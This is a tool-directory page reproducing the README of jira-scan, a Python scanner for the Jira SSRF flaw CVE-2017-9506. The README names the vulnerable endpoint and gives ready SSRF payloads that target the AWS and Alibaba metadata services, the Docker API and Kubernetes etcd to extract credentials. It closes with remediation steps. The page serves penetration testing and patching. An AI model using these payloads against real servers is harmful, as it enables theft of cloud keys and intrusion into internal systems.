Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Jira-Scan — CVE-2017-9506 - SSRF | Kitploit
Tools/GitHubGitHub/random-robbie/jira-scan
ReconnaissanceVulnerability ScannersWeb Application ExploitationInformation GatheringPenetration Testing
GitHubrandom-robbie/jira-scan

Jira-Scan

CVE-2017-9506 - SSRF

View Repository
19245268 days agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Jira-Scan

ONLY TESTED WITH PYTHON 3

Provide a list of websites to test without the http or https prefix and this will test each one for the SSRF vulnerability.

Alt text

CVE-2017-9506

The IconUriServlet of the Atlassian OAuth Plugin from version 1.3.0 before version 1.9.12 and from version 2.0.0 before version 2.0.4 allows remote attackers to access the content of internal network resources and/or perform an XSS attack via Server Side Request Forgery (SSRF).

According to the Atlassian Jira the following versions are vulnerable:

  • Jira < 7.3.5

The vulnerable servlet is reachable at:

/plugins/servlet/oauth/users/icon-uri?consumerUri=<URL>

Because the server fetches whatever URL is supplied in consumerUri, an attacker can make the Jira instance request internal resources. In a full attack chain this SSRF is commonly used to obtain an OAuth authorisation token or steal cloud credentials: for example, on AWS-hosted instances the servlet can be pointed at the EC2 instance metadata service (http://169.254.169.254/latest/meta-data/iam/security-credentials/), returning IAM role credentials that include temporary AWS access keys. The response of the servlet is reflected back to the attacker, so anything the internal endpoint returns — OAuth tokens, metadata, internal service output — can be read directly from the HTTP response.

Overview of SSRF

In a Server-Side Request Forgery (SSRF) attack, the attacker can abuse functionality on the server to read or update internal resources. The attacker can supply or modify a URL which the code running on the server will read or submit data to, and by carefully selecting the URLs, the attacker may be able to read server configuration such as AWS metadata, connect to internal services like HTTP-enabled databases or perform POST requests towards internal services which are not intended to be exposed.

Description

The target application may have functionality for importing data from a URL, publishing data to a URL or otherwise reading data from a URL that can be tampered with. The attacker modifies the calls to this functionality by supplying a completely different URL or by manipulating how URLs are built (path traversal etc.).

When the manipulated request goes to the server, the server-side code picks up the manipulated URL and tries to read data from the manipulated URL. By selecting target URLs the attacker may be able to read data from services that are not directly exposed on the internet:

  • Cloud server metadata — Cloud services such as AWS provide a REST interface on http://169.254.169.254/latest/meta-data/ where important configuration and sometimes even authentication keys can be extracted.
  • Database HTTP interfaces — NoSQL databases such as MongoDB provide REST interfaces on HTTP ports.
  • Docker and Kubernetes — if the local ports are exposed internally an attacker can create/delete pods & containers and retrieve other secrets.
  • Internal REST interfaces — if a database is expected to only be available internally, authentication may be disabled and the attacker can extract data.
  • Files — the attacker may be able to read files using file:// URIs. The attacker may also use this functionality to import untrusted data into code that expects to only read data from trusted sources, and as such circumvent input validation.

Requirements

Install the dependencies:

pip install -r requirments.txt

This installs requests and colorama.

Usage

  1. Create a file named list.txt in the same directory as the script, containing one hostname per line without the http:// or https:// prefix:
jira.example.com
jira.otherexample.com
  1. Run the scanner:
python3 jira-scan.py

The script reads every line of list.txt and, for each hostname, sends a GET request to:

https://<host>/plugins/servlet/oauth/users/icon-uri?consumerUri=https://www.google.com

If the response body contains the Google logo marker, the host is reported as vulnerable:

[*] Testing: jira.example.com [*]
[*] *********** Jira Vulnerable... Found *********** [*]

Otherwise it prints [*] Not Vulnerable [*].

Example vulnerable SSRF payloads

Fun SSRF payloads to try through the consumerUri parameter...

AWS — an IAM role will leak AWS keys

http://169.254.169.254/latest/meta-data/

Alibaba

http://100.100.100.200/latest/meta-data/

Docker — list containers

http://127.0.0.1:2375/v1.24/containers/json

Kubernetes ETCD — can contain API keys and internal IPs and ports

http://127.0.0.1:2379/v2/keys/?recursive=true

Remediation

  • Upgrade the Atlassian OAuth Plugin to version 1.9.12 or 2.0.4 or later (or upgrade Jira to a release that ships a fixed plugin — Jira 7.3.5 and above are not affected).
  • Restrict outbound requests made by the server, for example with firewall rules or an egress proxy that blocks access to link-local addresses (169.254.0.0/16), localhost, and internal RFC 1918 ranges.
  • Where possible, disable or remove the IconUriServlet endpoint if it is not required.

Disclaimer / Authorised use

This tool is provided for authorised security testing and responsible disclosure only. Do not use it against systems you do not have explicit permission to test.

Author

Robbie Wiggins — What-Security · GitHub

Download Tool